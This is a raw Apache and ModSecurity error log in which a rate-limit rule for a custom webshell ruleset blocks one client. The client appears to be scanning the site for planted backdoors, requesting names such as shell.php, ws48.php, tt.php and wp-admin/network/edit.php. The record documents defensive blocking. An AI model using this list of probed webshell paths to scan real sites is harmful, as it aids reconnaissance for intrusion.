[Sat Apr 25 08:05:25.275461 2026] [:error] [pid 46083:tid 46088] [client 20.100.197.186:35404] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "aewFRTxw_Zq74vWdjmlj2gAAAQE"]
[Sat Apr 25 08:05:26.837742 2026] [:error] [pid 44320:tid 44380] [client 20.100.197.186:6084] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "aewFRjmFqSpku_dij8iIMgAAAFg"]
[Sat Apr 25 08:05:27.599306 2026] [:error] [pid 44425:tid 44430] [client 20.100.197.186:65505] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aewFRyUl-VlItvY2tR8s8QAAAMM"]
[Sat Apr 25 08:05:30.766254 2026] [:error] [pid 46083:tid 46099] [client 20.100.197.186:32497] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aewFSjxw_Zq74vWdjmlj4QAAAQw"]
[Sat Apr 25 08:05:32.239314 2026] [:error] [pid 44320:tid 44359] [client 20.100.197.186:42932] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aewFTDmFqSpku_dij8iINQAAAEM"]
[Sat Apr 25 08:05:35.318840 2026] [:error] [pid 44425:tid 44440] [client 20.100.197.186:12713] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aewFTyUl-VlItvY2tR8tAgAAAM0"]
[Sat Apr 25 08:05:37.568210 2026] [:error] [pid 46083:tid 46095] [client 20.100.197.186:18315] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aewFUTxw_Zq74vWdjmlj6AAAAQg"]
[Sat Apr 25 08:05:40.388076 2026] [:error] [pid 44321:tid 44395] [client 20.100.197.186:5965] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aewFVI1b5lV-asWa_Y5BqgAAAIw"]
[Sat Apr 25 08:05:41.398751 2026] [:error] [pid 44425:tid 44436] [client 20.100.197.186:22850] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aewFVSUl-VlItvY2tR8tFgAAAMk"]
[Sat Apr 25 08:05:43.085289 2026] [:error] [pid 44425:tid 44444] [client 20.100.197.186:29587] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aewFVyUl-VlItvY2tR8tIgAAANE"]
[Sat Apr 25 08:05:45.886745 2026] [:error] [pid 44320:tid 44375] [client 20.100.197.186:15027] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aewFWTmFqSpku_dij8iIQQAAAFM"]
[Sat Apr 25 08:05:48.188312 2026] [:error] [pid 44319:tid 44350] [client 20.100.197.186:8272] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aewFXMzJPAVLUb2pWtJjhQAAABU"]
[Sat Apr 25 08:05:50.129300 2026] [:error] [pid 44321:tid 44404] [client 20.100.197.186:30810] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aewFXo1b5lV-asWa_Y5BsAAAAJU"]
[Sat Apr 25 08:05:54.860610 2026] [:error] [pid 44321:tid 44405] [client 20.100.197.186:10022] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aewFYo1b5lV-asWa_Y5BvAAAAJY"]
[Sat Apr 25 08:05:56.361160 2026] [:error] [pid 44319:tid 44336] [client 20.100.197.186:22853] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aewFZMzJPAVLUb2pWtJjlgAAAAc"]
[Sat Apr 25 08:05:59.359631 2026] [:error] [pid 46083:tid 46107] [client 20.100.197.186:5784] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aewFZzxw_Zq74vWdjmlkEQAAARM"]
[Sat Apr 25 08:06:02.306952 2026] [proxy_fcgi:error] [pid 44320:tid 44379] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:02.570395 2026] [proxy_fcgi:error] [pid 44320:tid 44371] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:02.833898 2026] [proxy_fcgi:error] [pid 44320:tid 44369] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:03.107431 2026] [proxy_fcgi:error] [pid 44320:tid 44380] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:03.644343 2026] [proxy_fcgi:error] [pid 44320:tid 44366] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:03.916004 2026] [proxy_fcgi:error] [pid 44320:tid 44378] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:04.179818 2026] [proxy_fcgi:error] [pid 44320:tid 44375] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:04.707396 2026] [proxy_fcgi:error] [pid 44320:tid 44359] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:04.971123 2026] [proxy_fcgi:error] [pid 44320:tid 44358] [client 20.100.197.186:60331] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:06:05.236034 2026] [:error] [pid 44320:tid 44360] [client 20.100.197.186:60331] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "aewFbTmFqSpku_dij8iIVQAAAEQ"]
[Sat Apr 25 08:06:06.248352 2026] [:error] [pid 44321:tid 44385] [client 20.100.197.186:10293] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "aewFbo1b5lV-asWa_Y5BvwAAAII"]
[Sat Apr 25 08:06:06.965062 2026] [:error] [pid 46083:tid 46093] [client 20.100.197.186:5774] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "aewFbjxw_Zq74vWdjmlkGQAAAQY"]
[Sat Apr 25 08:06:07.731447 2026] [:error] [pid 46083:tid 46099] [client 20.100.197.186:12175] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "aewFbzxw_Zq74vWdjmlkGwAAAQw"]
[Sat Apr 25 08:06:11.517415 2026] [:error] [pid 44321:tid 44394] [client 20.100.197.186:34006] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "aewFc41b5lV-asWa_Y5BxwAAAIs"]
[Sat Apr 25 08:06:12.753581 2026] [:error] [pid 46083:tid 46105] [client 20.100.197.186:5776] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "aewFdDxw_Zq74vWdjmlkIwAAARI"]
[Sat Apr 25 08:06:13.534558 2026] [:error] [pid 44320:tid 44377] [client 20.100.197.186:22887] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "aewFdTmFqSpku_dij8iIXQAAAFU"]
[Sat Apr 25 08:06:16.769520 2026] [:error] [pid 44320:tid 44375] [client 20.100.197.186:30820] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "aewFeDmFqSpku_dij8iIYwAAAFM"]
[Sat Apr 25 08:06:20.952542 2026] [:error] [pid 46083:tid 46107] [client 20.100.197.186:19228] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aewFfDxw_Zq74vWdjmlkQQAAARM"]
[Sat Apr 25 08:06:26.427281 2026] [:error] [pid 44321:tid 44402] [client 20.100.197.186:46395] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aewFgo1b5lV-asWa_Y5B2gAAAJM"]
[Sat Apr 25 08:06:29.421542 2026] [:error] [pid 44321:tid 44387] [client 20.100.197.186:49683] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aewFhY1b5lV-asWa_Y5B4AAAAIQ"]
[Sat Apr 25 08:06:31.921761 2026] [:error] [pid 44319:tid 44330] [client 20.100.197.186:19215] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aewFh8zJPAVLUb2pWtJjrAAAAAE"]
[Sat Apr 25 08:06:34.476610 2026] [:error] [pid 44321:tid 44402] [client 20.100.197.186:34739] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "aewFio1b5lV-asWa_Y5B5wAAAJM"]
[Sat Apr 25 08:06:35.543306 2026] [:error] [pid 44321:tid 44392] [client 20.100.197.186:41163] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "aewFi41b5lV-asWa_Y5B6QAAAIk"]
[Sat Apr 25 08:06:36.372398 2026] [:error] [pid 44321:tid 44384] [client 20.100.197.186:41190] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "aewFjI1b5lV-asWa_Y5B7gAAAIE"]
[Sat Apr 25 08:06:37.596081 2026] [:error] [pid 44320:tid 44370] [client 20.100.197.186:10755] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "aewFjTmFqSpku_dij8iIagAAAE4"]
[Sat Apr 25 08:06:39.236149 2026] [:error] [pid 44425:tid 44447] [client 20.100.197.186:5785] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aewFjyUl-VlItvY2tR8tVgAAANQ"]
[Sat Apr 25 08:06:42.865824 2026] [:error] [pid 46083:tid 46100] [client 20.100.197.186:49651] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aewFkjxw_Zq74vWdjmlkWgAAAQ0"]
[Sat Apr 25 08:06:46.733278 2026] [:error] [pid 44321:tid 44390] [client 20.100.197.186:41096] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aewFlo1b5lV-asWa_Y5B9gAAAIc"]
[Sat Apr 25 08:06:48.568828 2026] [:error] [pid 46083:tid 46101] [client 20.100.197.186:20634] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aewFmDxw_Zq74vWdjmlkZwAAAQ4"]
[Sat Apr 25 08:06:51.281481 2026] [:error] [pid 44425:tid 44444] [client 20.100.197.186:9747] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "aewFmyUl-VlItvY2tR8tWgAAANE"]
[Sat Apr 25 08:06:52.631381 2026] [:error] [pid 46083:tid 46088] [client 20.100.197.186:8720] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "aewFnDxw_Zq74vWdjmlkcQAAAQE"]
[Sat Apr 25 08:06:55.387196 2026] [:error] [pid 44319:tid 44349] [client 20.100.197.186:40459] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "aewFn8zJPAVLUb2pWtJjtgAAABQ"]
[Sat Apr 25 08:06:58.836183 2026] [:error] [pid 46083:tid 46087] [client 20.100.197.186:61351] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "aewFojxw_Zq74vWdjmlkjgAAAQA"]
[Sat Apr 25 08:07:03.744625 2026] [:error] [pid 46083:tid 46091] [client 20.100.197.186:44750] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aewFpzxw_Zq74vWdjmlkmgAAAQQ"]
[Sat Apr 25 08:07:07.126582 2026] [proxy_fcgi:error] [pid 44321:tid 44388] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:07.419631 2026] [proxy_fcgi:error] [pid 44321:tid 44406] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:07.685208 2026] [proxy_fcgi:error] [pid 44321:tid 44395] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:07.957089 2026] [proxy_fcgi:error] [pid 44321:tid 44383] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:08.224339 2026] [proxy_fcgi:error] [pid 44321:tid 44398] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:08.499979 2026] [proxy_fcgi:error] [pid 44321:tid 44399] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:08.773462 2026] [proxy_fcgi:error] [pid 44321:tid 44393] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:10.334471 2026] [proxy_fcgi:error] [pid 44321:tid 44390] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:10.603304 2026] [proxy_fcgi:error] [pid 44321:tid 44404] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:10.868052 2026] [proxy_fcgi:error] [pid 44321:tid 44391] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:11.132727 2026] [proxy_fcgi:error] [pid 44321:tid 44384] [client 20.100.197.186:7209] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:07:11.404624 2026] [:error] [pid 44321:tid 44403] [client 20.100.197.186:7209] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aewFr41b5lV-asWa_Y5CHgAAAJQ"]
[Sat Apr 25 08:07:14.943466 2026] [:error] [pid 44425:tid 44450] [client 20.100.197.186:42232] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aewFsiUl-VlItvY2tR8tdAAAANc"]
[Sat Apr 25 08:07:15.960568 2026] [:error] [pid 44425:tid 44430] [client 20.100.197.186:7200] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aewFsyUl-VlItvY2tR8tewAAAMM"]
[Sat Apr 25 08:07:17.035465 2026] [:error] [pid 44425:tid 44442] [client 20.100.197.186:10835] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aewFtSUl-VlItvY2tR8tfAAAAM8"]
[Sat Apr 25 08:07:19.272305 2026] [:error] [pid 44425:tid 44428] [client 20.100.197.186:18788] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "aewFtyUl-VlItvY2tR8tgAAAAME"]
[Sat Apr 25 08:07:21.199302 2026] [:error] [pid 44319:tid 44341] [client 20.100.197.186:7182] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "aewFuczJPAVLUb2pWtJjxQAAAAw"]
[Sat Apr 25 08:07:22.080588 2026] [:error] [pid 44321:tid 44386] [client 20.100.197.186:58870] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "aewFuo1b5lV-asWa_Y5CJwAAAIM"]
[Sat Apr 25 08:07:24.111648 2026] [:error] [pid 46083:tid 46094] [client 20.100.197.186:53669] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "aewFvDxw_Zq74vWdjmlkqgAAAQc"]
[Sat Apr 25 08:07:26.554371 2026] [:error] [pid 44320:tid 44365] [client 20.100.197.186:59458] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aewFvjmFqSpku_dij8iIhAAAAEk"]
